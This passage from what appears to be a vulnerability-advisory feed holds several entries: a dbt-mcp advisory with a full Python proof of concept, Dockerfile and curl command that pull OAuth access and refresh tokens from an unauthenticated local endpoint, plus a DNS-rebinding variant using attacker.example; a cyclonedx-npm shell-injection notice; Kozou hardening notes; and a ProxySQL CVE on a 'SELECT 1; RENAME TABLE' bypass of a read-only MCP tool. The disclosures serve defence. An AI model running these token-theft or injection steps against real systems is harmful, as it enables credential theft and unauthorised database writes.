Token fields missing from response: {exc}\")\n return 1\n\n print(f\"\\n[!] LEAKED access_token : {leaked_access}\")\n print(f\"[!] LEAKED refresh_token : {leaked_refresh}\")\n\n if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:\n print(\n \"\\n[+] VULNERABILITY CONFIRMED:\"\n \" Tokens returned from \/dbt_platform_con WITHOUT authentication!\"\n )\n return 0\n else:\n print(\"\\n[-] FAIL: Returned tokens do not match expected values.\")\n print(f\" Expected access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" Got access_token : {leaked_access}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
            "summary": "## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens\n\n### Summary\n\nThe local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET \/dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object \u2014 including the victim's `access_token` and `refresh_token` for the dbt Platform API \u2014 verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).**\n\n### Details\n\nDuring the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the \"OAuth helper\") bound to `127.0.0.1` starting on port `6785` (configured at `src\/dbt_mcp\/config\/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.\n\n**Data flow from source to sink:**\n\n1. **Source** \u2014 `src\/dbt_mcp\/oauth\/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.\n2. `src\/dbt_mcp\/oauth\/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.\n3. `src\/dbt_mcp\/oauth\/dbt_platform.py:64\u201369`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.\n4. `src\/dbt_mcp\/oauth\/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.\n5. **Persistence sink** \u2014 `src\/dbt_mcp\/oauth\/context_manager.py:63\u201364`: `yaml.dump(context.model_dump())` serializes the entire model \u2014 including tokens \u2014 to a YAML file on disk.\n6. **HTTP sink** \u2014 `src\/dbt_mcp\/oauth\/fastapi_app.py:162\u2013165`: The `GET \/dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.\n\n```python\n# src\/dbt_mcp\/oauth\/fastapi_app.py:162-165\n@app.get(\"\/dbt_platform_context\")\ndef get_dbt_platform_context() -> DbtPlatformContext:\n    logger.info(\"Selected project received\")\n    return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n```\n\n```python\n# src\/dbt_mcp\/oauth\/dbt_platform.py:8-14\nclass AccessTokenResponse(BaseModel):\n    access_token: str\n    refresh_token: str\n    ...\n\nclass DbtPlatformContext(BaseModel):\n    decoded_access_token: DecodedAccessToken | None = None\n    ...\n```\n\n**Missing protections (confirmed by grep):**\n\n- No `TrustedHostMiddleware` \u2014 the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.\n- No `CORSMiddleware` \u2014 no cross-origin restrictions on which sites can read the response.\n- No CSRF protection, no session nonce, no `Origin` header validation.\n- The route has no FastAPI `Depends()` security dependency.\n\nA `grep -Rni \"TrustedHostMiddleware\\|CORSMiddleware\\|csrf\\|origin\"` across the OAuth FastAPI application returns no results.\n\n**Recommended remediation:**\n\n```diff\n--- a\/src\/dbt_mcp\/oauth\/fastapi_app.py\n+++ b\/src\/dbt_mcp\/oauth\/fastapi_app.py\n+from starlette.middleware.trustedhost import TrustedHostMiddleware\n+\n+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:\n+    if context is None:\n+        return DbtPlatformContext()\n+    return context.model_copy(update={\"decoded_access_token\": None})\n\n     app = FastAPI()\n+    app.add_middleware(\n+        TrustedHostMiddleware,\n+        allowed_hosts=[\"localhost\", \"127.0.0.1\"],\n+    )\n\n     @app.get(\"\/dbt_platform_context\")\n     def get_dbt_platform_context() -> DbtPlatformContext:\n         logger.info(\"Selected project received\")\n-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n+        return _redact_context(dbt_platform_context_manager.read_context())\n```\n\n### PoC\n\n**Prerequisites:**\n\n- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.\n- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.\n- No `DBT_TOKEN` set (OAuth flow mode active).\n\n**Step 1 \u2014 Build the Docker test environment:**\n\n```bash\ndocker build -t vuln001-dbt-mcp -f vuln-001\/Dockerfile .\n```\n\nThe `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src\/` and `poc.py`:\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR \/app\nRUN pip install --no-cache-dir \\\n    \"authlib~=1.6.7\" \"fastapi~=0.128.0\" \"uvicorn~=0.38.0\" \\\n    \"pyjwt~=2.12.0\" \"pyyaml~=6.0.2\" \"httpx~=0.28.1\" \\\n    \"filelock~=3.20.3\" \"starlette~=0.50.0\" \"requests>=2.28\" \\\n    \"pydantic~=2.0\" \"pydantic-settings~=2.10.1\"\nCOPY repo\/src \/app\/src\nENV PYTHONPATH=\/app\/src\nCOPY vuln-001\/poc.py \/app\/poc.py\nCMD [\"python3\", \"\/app\/poc.py\"]\n```\n\n**Step 2 \u2014 Run the PoC:**\n\n```bash\ndocker run --rm --network=host vuln001-dbt-mcp\n```\n\nThe PoC script (`poc.py`) performs the following automatically:\n\n1. Writes a realistic fake OAuth context YAML to `\/tmp\/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.\n2. Instantiates the **real** `create_app()` from `src\/dbt_mcp\/oauth\/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.\n3. Starts the server on `127.0.0.1:16785` in a background thread.\n4. Issues an unauthenticated `GET \/dbt_platform_context` with no `Authorization` header.\n5. Asserts that `access_token` and `refresh_token` are returned verbatim.\n\n**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**\n\n```bash\n# While the victim is running the OAuth login flow:\nexport DBT_HOST='cloud.getdbt.com'\nunset DBT_TOKEN\ndbt-mcp   # OAuth helper starts on 127.0.0.1:6785\n\n# From any co-located process (or a DNS-rebinding browser page):\ncurl -s 'http:\/\/127.0.0.1:6785\/dbt_platform_context' \\\n  | jq '.decoded_access_token.access_token_response'\n```\n\n**Expected output (Phase 2 observed):**\n\n```\n[*] HTTP Status: 200\n[*] Full response JSON:\n{\n  \"decoded_access_token\": {\n    \"access_token_response\": {\n      \"access_token\": \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\",\n      \"refresh_token\": \"dbt-platform-offline-refresh-SUPERSECRET-abc123\",\n      \"expires_in\": 3600,\n      \"scope\": \"user_access offline_access\",\n      \"token_type\": \"Bearer\",\n      \"expires_at\": 9999999999\n    },\n    ...\n  },\n  ...\n}\n[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\n[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123\n[+] VULNERABILITY CONFIRMED: Tokens returned from \/dbt_platform_context WITHOUT authentication!\n```\n\n**DNS rebinding variant:**\n\nA malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires (\"DNS rebinding\"). Because the helper accepts any `Host` header, the browser treats `http:\/\/attacker.example:6785` as same-origin and fetches `\/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.\n\n### Impact\n\nAny local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.\n\nThis vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR \/app\n\n# Install minimal runtime dependencies (no heavy dbt-protos\/dbt-sl-sdk needed\n# because fastapi_app.py's import chain doesn't touch them)\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \\\n \"fastapi~=0.128.0\" \\\n \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \\\n \"pyyaml~=6.0.2\" \\\n \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \\\n \"starlette~=0.50.0\" \\\n \"requests>=2.28\" \\\n \"pydantic~=2.0\" \\\n \"pydantic-settings~=2.10.1\"\n\n# Copy only the source tree needed for the OAuth server\nCOPY repo\/src \/app\/src\n\nENV PYTHONPATH=\/app\/src\n\nCOPY vuln-001\/poc.py \/app\/poc.py\n\nCMD [\"python3\", \"\/app\/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens\n\nAttack scenario:\n - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.\n - After the OAuth flow completes, tokens are persisted to ~\/.dbt\/mcp.yml.\n - GET \/dbt_platform_con is accessible with NO authentication at all.\n - Any process on the same host (or a DNS-rebinding browser page) can call it\n and receive the full access_token + refresh_token.\n\nThis PoC:\n 1. Pre-seeds a con file with fake-but-realistic OAuth tokens\n (simulating a victim who has already completed the OAuth flow).\n 2. Starts the real vulnerable FastAPI app from src\/dbt_mcp\/oauth\/fastapi_app.py.\n 3. Issues an unauthenticated HTTP GET \/dbt_platform_con (no auth header).\n 4. Confirms the tokens are returned verbatim.\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport tempfile\nimport threading\nimport time\nfrom pathlib import Path\n\nimport httpx\nimport uvicorn\nimport yaml\n\n# Fake tokens that simulate a victim's completed OAuth session.\nFAKE_ACCESS_TOKEN = \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\"\nFAKE_REFRESH_TOKEN = \"dbt-platform-offline-refresh-SUPERSECRET-abc123\"\n\nFAKE_CONTEXT = {\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": FAKE_ACCESS_TOKEN,\n \"refresh_token\": FAKE_REFRESH_TOKEN,\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999,\n },\n \"decoded_claims\": {\n \"sub\": \"99999\",\n \"iat\": 1700000000,\n \"exp\": 9999999999,\n },\n },\n \"host_prefix\": \"victimco\",\n \"dbt_host\": \"cloud.getdbt.com\",\n \"account_id\": 42,\n \"selected_project_ids\": None,\n \"dev_environment\": None,\n \"prod_environment\": None,\n}\n\nPORT = 16785\n\n\ndef start_server(context_file: Path, static_dir: str) -> None:\n \"\"\"Run the actual vulnerable FastAPI app in a background thread.\"\"\"\n from authlib.integrations.requests_client import OAuth2Session\n from dbt_mcp.oauth.context_manager import DbtPlatformContextManager\n from dbt_mcp.oauth.fastapi_app import create_app\n\n context_manager = DbtPlatformContextManager(context_file)\n\n # A dummy OAuth client \u2014 only used by the \/oauth-callback route,\n # which this PoC never triggers.\n fake_oauth_client = OAuth2Session(client_id=\"poc-dummy-client\")\n\n app = create_app(\n oauth_client=fake_oauth_client,\n state_to_verifier={},\n dbt_platform_url=\"https:\/\/cloud.getdbt.com\",\n static_dir=static_dir,\n dbt_platform_context_manager=context_manager,\n )\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n config = uvicorn.Config(\n app=app, host=\"127.0.0.1\", port=PORT, log_level=\"error\", loop=\"asyncio\"\n )\n server = uvicorn.Server(config)\n loop.run_until_complete(server.serve())\n\n\ndef wait_for_server(port: int, timeout: float = 15.0) -> bool:\n import socket\n\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=1):\n return True\n except OSError:\n time.sleep(0.2)\n return False\n\n\ndef main() -> int:\n print(\"[*] VULN-001 PoC \u2014 Unauthenticated \/dbt_platform_con token leak\")\n print(\"=\" * 70)\n\n # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)\n context_file = Path(\"\/tmp\/dbt_poc_mcp.yml\")\n context_file.write_(\n yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding=\"utf-8\"\n )\n print(f\"[*] Con file written: {context_file}\")\n print(f\" access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" refresh_token : {FAKE_REFRESH_TOKEN}\")\n\n # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup\n static_dir = tempfile.mkdtemp(prefix=\"dbt_poc_static_\")\n (Path(static_dir) \/ \"index.html\").write_(\"dbt OAuth\")\n\n # 3. Start the real vulnerable FastAPI server in a background thread\n t = threading.Thread(\n target=start_server, args=(context_file, static_dir), daemon=True\n )\n t.start()\n\n print(f\"\\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...\")\n if not wait_for_server(PORT):\n print(\"[-] FAIL: Server did not start within timeout.\")\n return 2\n\n print(\"[*] Server is up.\")\n\n # 4. Send unauthenticated GET \/dbt_platform_con (no Authorization header)\n url = f\"http:\/\/127.0.0.1:{PORT}\/dbt_platform_con\"\n print(f\"\\n[*] Sending unauthenticated GET {url}\")\n try:\n resp = httpx.get(url, timeout=10)\n except Exception as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return 2\n\n print(f\"[*] HTTP Status: {resp.status_code}\")\n\n if resp.status_code != 200:\n print(f\"[-] FAIL: Expected 200, got {resp.status_code}\")\n print(f\" Body: {resp.[:500]}\")\n return 1\n\n try:\n data = resp.json()\n except Exception as exc:\n print(f\"[-] FAIL: Response is not JSON: {exc}\\n Body: {resp.[:500]}\")\n return 1\n\n print(f\"\\n[*] Full response JSON:\\n{json.dumps(data, indent=2)}\")\n\n # 5. Verify that the tokens are in the response (no redaction, no auth required)\n try:\n leaked_access = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"access_token\"]\n )\n leaked_refresh = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"refresh_token\"]\n )\n except (KeyError, TypeError) as exc:\n print(f\"\\n[-] FAIL: Token fields missing from response: {exc}\")\n return 1\n\n print(f\"\\n[!] LEAKED access_token : {leaked_access}\")\n print(f\"[!] LEAKED refresh_token : {leaked_refresh}\")\n\n if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:\n print(\n \"\\n[+] VULNERABILITY CONFIRMED:\"\n \" Tokens returned from \/dbt_platform_con WITHOUT authentication!\"\n )\n return 0\n else:\n print(\"\\n[-] FAIL: Returned tokens do not match expected values.\")\n print(f\" Expected access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" Got access_token : {leaked_access}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b928-72d1-90e9-0680bf6435d7",
            "title": "@cyclonedx\/cyclonedx-npm: Shell Injection via Unsanitized --workspace Argument",
            "url": "https://github.com/advisories/GHSA-v75r-vx73-82pj",
            "content_html": "## Summary\nA command injection vulnerability exists in `@cyclonedx\/cyclonedx-npm` when the CLI is invoked with the `--workspace ` option while the environment variable `npm_execpath` is unset or empty.  \nUser\u2011supplied `--workspace` values are passed to a subshell without proper sanitization, enabling attackers to inject arbitrary OS commands.  \nThis issue corresponds to **CWE\u201178**: Improper Neutralization of Special Elements used in an OS Command.\n\nThe vulnerability was fixed in version [5.0.0][v5.0.0].\n\n## Vulnerability Details\n\nWhen `cyclonedx-npm` is executed with the `--workspace` option, the provided argument is incorporated into an internal shell command.  \nIf the environment variable `npm_execpath` is set, the tool uses the npm executable directly and no injection occurs.  \nHowever, when `npm_execpath` is unset or empty, the tool falls back to spawning a subshell and interpolating the `--workspace` value directly into the command string without proper escaping or neutralization.\n\nAs a result, specially crafted workspace names can break out of the intended command context and execute arbitrary commands with the privileges of the invoking user.\n\n## Impact\n\nAn attacker who can influence the value passed to `--workspace` can execute arbitrary OS commands.  \nThis may lead to:\n\n* Arbitrary command execution\n* Data exfiltration\n* Local privilege escalation (depending on how the tool is used)\n* Modification or destruction of files accessible to the user running the CLI\n\nThe vulnerability affects only scenarios where:\n* The user invokes `cyclonedx-npm` with `--workspace `, and\n* The environment variable `npm_execpath` is unset or empty\n\n## Exploitation Conditions (High\u2011Level)\n\nExploitation requires the attacker to supply or influence the `--workspace` value passed to the CLI.  \nIf the tool falls back to its subshell execution path, specially crafted workspace identifiers can cause unintended command execution.  \nNo exploit code is included here to avoid providing weaponizable examples.\n\n## Root Cause\n\nThe CLI constructs a shell command using untrusted input from the `--workspace` option.  \nBecause the fallback code path does not sanitize or escape the workspace value, special shell metacharacters (e.g., `;`, `&&`, `|`) are interpreted by the shell, enabling command injection.\n\nThis behavior matches **CWE\u201178**.\n\n## Fix\n\nThe vulnerability was resolved in [PR #1476], which ensures that workspace values are handled safely and are no longer passed to a subshell in an unsafe manner.\n\nThe fix is included in `@cyclonedx\/cyclonedx-npm` version [5.0.0][v5.0.0].\n\n## Remediation\n\n* Upgrade to version [5.0.0][v5.0.0] or later, which contains the complete fix.\n* As a temporary mitigation for older versions, ensure that the environment variable `npm_execpath` is set before invoking the tool.\n* Avoid passing untrusted or user\u2011controlled values to the `--workspace` option.\n\n[v5.0.0]: https:\/\/github.com\/CycloneDX\/cyclonedx-node-npm\/releases\/tag\/v5.0.0\n[PR #1476]: https:\/\/github.com\/CycloneDX\/cyclonedx-node-npm\/pull\/1476",
            "summary": "## Summary\nA command injection vulnerability exists in `@cyclonedx\/cyclonedx-npm` when the CLI is invoked with the `--workspace ` option while the environment variable `npm_execpath` is unset or empty.  \nUser\u2011supplied `--workspace` values are passed to a subshell without proper sanitization, enabling attackers to inject arbitrary OS commands.  \nThis issue corresponds to **CWE\u201178**: Improper Neutralization of Special Elements used in an OS Command.\n\nThe vulnerability was fixed in version [5.0.0][v5.0.0].\n\n## Vulnerability Details\n\nWhen `cyclonedx-npm` is executed with the `--workspace` option, the provided argument is incorporated into an internal shell command.  \nIf the environment variable `npm_execpath` is set, the tool uses the npm executable directly and no injection occurs.  \nHowever, when `npm_execpath` is unset or empty, the tool falls back to spawning a subshell and interpolating the `--workspace` value directly into the command string without proper escaping or neutralization.\n\nAs a result, specially crafted workspace names can break out of the intended command context and execute arbitrary commands with the privileges of the invoking user.\n\n## Impact\n\nAn attacker who can influence the value passed to `--workspace` can execute arbitrary OS commands.  \nThis may lead to:\n\n* Arbitrary command execution\n* Data exfiltration\n* Local privilege escalation (depending on how the tool is used)\n* Modification or destruction of files accessible to the user running the CLI\n\nThe vulnerability affects only scenarios where:\n* The user invokes `cyclonedx-npm` with `--workspace `, and\n* The environment variable `npm_execpath` is unset or empty\n\n## Exploitation Conditions (High\u2011Level)\n\nExploitation requires the attacker to supply or influence the `--workspace` value passed to the CLI.  \nIf the tool falls back to its subshell execution path, specially crafted workspace identifiers can cause unintended command execution.  \nNo exploit code is included here to avoid providing weaponizable examples.\n\n## Root Cause\n\nThe CLI constructs a shell command using untrusted input from the `--workspace` option.  \nBecause the fallback code path does not sanitize or escape the workspace value, special shell metacharacters (e.g., `;`, `&&`, `|`) are interpreted by the shell, enabling command injection.\n\nThis behavior matches **CWE\u201178**.\n\n## Fix\n\nThe vulnerability was resolved in [PR #1476], which ensures that workspace values are handled safely and are no longer passed to a subshell in an unsafe manner.\n\nThe fix is included in `@cyclonedx\/cyclonedx-npm` version [5.0.0][v5.0.0].\n\n## Remediation\n\n* Upgrade to version [5.0.0][v5.0.0] or later, which contains the complete fix.\n* As a temporary mitigation for older versions, ensure that the environment variable `npm_execpath` is set before invoking the tool.\n* Avoid passing untrusted or user\u2011controlled values to the `--workspace` option.\n\n[v5.0.0]: https:\/\/github.com\/CycloneDX\/cyclonedx-node-npm\/releases\/tag\/v5.0.0\n[PR #1476]: https:\/\/github.com\/CycloneDX\/cyclonedx-node-npm\/pull\/1476",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b92c-70ea-a1c9-37b033e34bd9",
            "title": "Kozou: Unauthenticated MCP HTTP server and bundled dev-stack hardening (DNS-rebinding, request-body limits, read-only reads, default network exposure)",
            "url": "https://github.com/advisories/GHSA-v52w-28xh-v562",
            "content_html": "Kozou compiles a PostgreSQL schema into an Admin UI, a REST API, and an MCP server. Several hardening gaps in the bundled HTTP surfaces and the scaffolded dev stack are fixed in **1.8.1**.\n\n## Issues\n\n1. **MCP HTTP server lacked DNS-rebinding protection.** The Streamable HTTP transport is unauthenticated and loopback by default. Without `Host`\/`Origin` validation, a malicious web page in the operator's browser could rebind a hostname it controls to the loopback address and drive the MCP endpoint \u2014 reading schema metadata, or (when the opt-in `call` execution tool is enabled) executing exposed functions as the execution role.\n\n2. **Unbounded request-body buffering (DoS).** Both the MCP HTTP server and the in-house REST server read the entire request body into memory with no size limit, so a reachable client could drive the process toward memory exhaustion.\n\n3. **Read requests ran in a read\/write transaction.** The shared role-transaction envelope opened every request with a plain `BEGIN`, so a `GET` ran read\/write. A `SELECT` that reaches a volatile function or a writable \/ `INSTEAD`-triggered view could perform a write that then commits \u2014 the \"a GET only reads\" contract was left to the serving role's grants rather than enforced.\n\n4. **No-auth dev surfaces published on all interfaces by default.** The scaffolded `docker-compose.yml` (and the quickstart) published the unauthenticated Admin UI and MCP HTTP server \u2014 and the default-credential demo database \u2014 on every host interface, and the config defaulted those binds to `0.0.0.0`.\n\n## What changed in 1.8.1\n\n- **DNS-rebinding guard (MCP HTTP):** the server validates the `Host` header (and a present `Origin`) against an allowlist before handling any request, on every route. Matching is on the hostname; loopback names are always accepted and an operator can add hosts via configuration. A browser cannot forge `Host`\/`Origin`, so this closes the rebinding vector. (This is a browser-rebinding defence; network reachability of an unauthenticated server must still be constrained by the network \u2014 see workarounds.)\n- **Request-body size cap:** both HTTP servers reject an over-large declared `Content-Length` (413) and enforce the limit while streaming, so a chunked \/ `Content-Length`-less body cannot grow unbounded. A non-JSON `Content-Type` on a body is rejected with 415. The cap is configurable.\n- **Read-only read transactions:** read methods (`GET`) now run in a `READ ONLY` transaction, so the database refuses any write for the duration of the request regardless of the role's grants.\n- **Loopback-by-default network posture:** the Admin UI and MCP HTTP server now bind loopback by default; the bundled compose files publish every host port (Admin UI, MCP, database) on `127.0.0.1` only, while the container binds all interfaces internally so the loopback mapping still works. Operators opt into a broader bind explicitly.\n\n## Impact\n\nThe MCP HTTP server's exposure is greatest when the opt-in `call` execution tool is enabled and\/or the server is reachable beyond loopback. The read\/write-transaction issue has effect only when the schema exposes a read path that can write (a volatile-function-backed column or a writable\/`INSTEAD`-triggered view) and the serving role holds write grants. The all-interface publish affected anyone who ran the scaffolded `docker compose up` on a host reachable from an untrusted network. Requests run under `SET LOCAL ROLE`, so PostgreSQL still enforces grants\/RLS at runtime; these are defense-in-depth and read-contract hardening.\n\n## Affected \/ patched\n\n- npm packages `kozou`, `@kozou\/api`, `@kozou\/mcp`, `@kozou\/core` (and the lockstep-versioned siblings): affected `",
            "summary": "Kozou compiles a PostgreSQL schema into an Admin UI, a REST API, and an MCP server. Several hardening gaps in the bundled HTTP surfaces and the scaffolded dev stack are fixed in **1.8.1**.\n\n## Issues\n\n1. **MCP HTTP server lacked DNS-rebinding protection.** The Streamable HTTP transport is unauthenticated and loopback by default. Without `Host`\/`Origin` validation, a malicious web page in the operator's browser could rebind a hostname it controls to the loopback address and drive the MCP endpoint \u2014 reading schema metadata, or (when the opt-in `call` execution tool is enabled) executing exposed functions as the execution role.\n\n2. **Unbounded request-body buffering (DoS).** Both the MCP HTTP server and the in-house REST server read the entire request body into memory with no size limit, so a reachable client could drive the process toward memory exhaustion.\n\n3. **Read requests ran in a read\/write transaction.** The shared role-transaction envelope opened every request with a plain `BEGIN`, so a `GET` ran read\/write. A `SELECT` that reaches a volatile function or a writable \/ `INSTEAD`-triggered view could perform a write that then commits \u2014 the \"a GET only reads\" contract was left to the serving role's grants rather than enforced.\n\n4. **No-auth dev surfaces published on all interfaces by default.** The scaffolded `docker-compose.yml` (and the quickstart) published the unauthenticated Admin UI and MCP HTTP server \u2014 and the default-credential demo database \u2014 on every host interface, and the config defaulted those binds to `0.0.0.0`.\n\n## What changed in 1.8.1\n\n- **DNS-rebinding guard (MCP HTTP):** the server validates the `Host` header (and a present `Origin`) against an allowlist before handling any request, on every route. Matching is on the hostname; loopback names are always accepted and an operator can add hosts via configuration. A browser cannot forge `Host`\/`Origin`, so this closes the rebinding vector. (This is a browser-rebinding defence; network reachability of an unauthenticated server must still be constrained by the network \u2014 see workarounds.)\n- **Request-body size cap:** both HTTP servers reject an over-large declared `Content-Length` (413) and enforce the limit while streaming, so a chunked \/ `Content-Length`-less body cannot grow unbounded. A non-JSON `Content-Type` on a body is rejected with 415. The cap is configurable.\n- **Read-only read transactions:** read methods (`GET`) now run in a `READ ONLY` transaction, so the database refuses any write for the duration of the request regardless of the role's grants.\n- **Loopback-by-default network posture:** the Admin UI and MCP HTTP server now bind loopback by default; the bundled compose files publish every host port (Admin UI, MCP, database) on `127.0.0.1` only, while the container binds all interfaces internally so the loopback mapping still works. Operators opt into a broader bind explicitly.\n\n## Impact\n\nThe MCP HTTP server's exposure is greatest when the opt-in `call` execution tool is enabled and\/or the server is reachable beyond loopback. The read\/write-transaction issue has effect only when the schema exposes a read path that can write (a volatile-function-backed column or a writable\/`INSTEAD`-triggered view) and the serving role holds write grants. The all-interface publish affected anyone who ran the scaffolded `docker compose up` on a host reachable from an untrusted network. Requests run under `SET LOCAL ROLE`, so PostgreSQL still enforces grants\/RLS at runtime; these are defense-in-depth and read-contract hardening.\n\n## Affected \/ patched\n\n- npm packages `kozou`, `@kozou\/api`, `@kozou\/mcp`, `@kozou\/core` (and the lockstep-versioned siblings): affected `",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee39d-94d5-725b-a4b3-91b7ea22e708",
            "title": "CVE-2026-48774: ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 3.0.0 through 3.0.8, ProxySQL's GenAI\/MC",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48774",
            "content_html": "ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 3.0.0 through 3.0.8, ProxySQL's GenAI\/MCP `run_sql_readonly` tool violates its documented read-only contract for MySQL targets. The tool validates only the full input string with a substring blacklist and first-keyword allowlist, but then executes the entire SQL string on a backend connection created with `CLIENT_MULTI_STATEMENTS`. As a result, a caller can submit a read-only first statement followed by a side-effecting second statement, such as `SELECT 1; RENAME TABLE ...`. The validator accepts the payload because it starts with `SELECT` and because side-effecting MySQL statements such as `RENAME TABLE`, `SET`, `RESET`, `LOCK TABLES`, and `KILL` are not rejected by the blacklist. In a live MCP runtime test, the `\/mcp\/query` endpoint accepted a `run_sql_readonly` request. The MCP response reported success for the first `SELECT`, and direct backend verification showed that the table had actually been renamed. This violates the endpoint's read-only security contract and lets an MCP caller perform backend writes or administrative SQL, limited by the configured MCP target account's database privileges. Version 3.0.9 contains a fix. Other operator mitigations include: keeping MCP disabled unless required; setting a non-empty `mcp-query_endpoint_auth` token before exposing `\/mcp\/query`; restricting MCP listener network exposure; configuring MCP backend target credentials as database-level read-only users; and adding temporary MCP query rules to block obvious multi-statement patterns.",
            "summary": "ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 3.0.0 through 3.0.8, ProxySQL's GenAI\/MCP `run_sql_readonly` tool violates its documented read-only contract for MySQL targets. The tool validates only the full input string with a substring blacklist and first-keyword allowlist, but then executes the entire SQL string on a backend connection created with `CLIENT_MULTI_STATEMENTS`. As a result, a caller can submit a read-only first statement followed by a side-effecting second statement, such as `SELECT 1; RENAME TABLE ...`. The validator accepts the payload because it starts with `SELECT` and because side-effecting MySQL statements such as `RENAME TABLE`, `SET`, `RESET`, `LOCK TABLES`, and `KILL` are not rejected by the blacklist. In a live MCP runtime test, the `\/mcp\/query` endpoint accepted a `run_sql_readonly` request. The MCP response reported success for the first `SELECT`, and direct backend verification showed that the table had actually been renamed. This violates the endpoint's read-only security contract and lets an MCP caller perform backend writes or administrative SQL, limited by the configured MCP target account's database privileges. Version 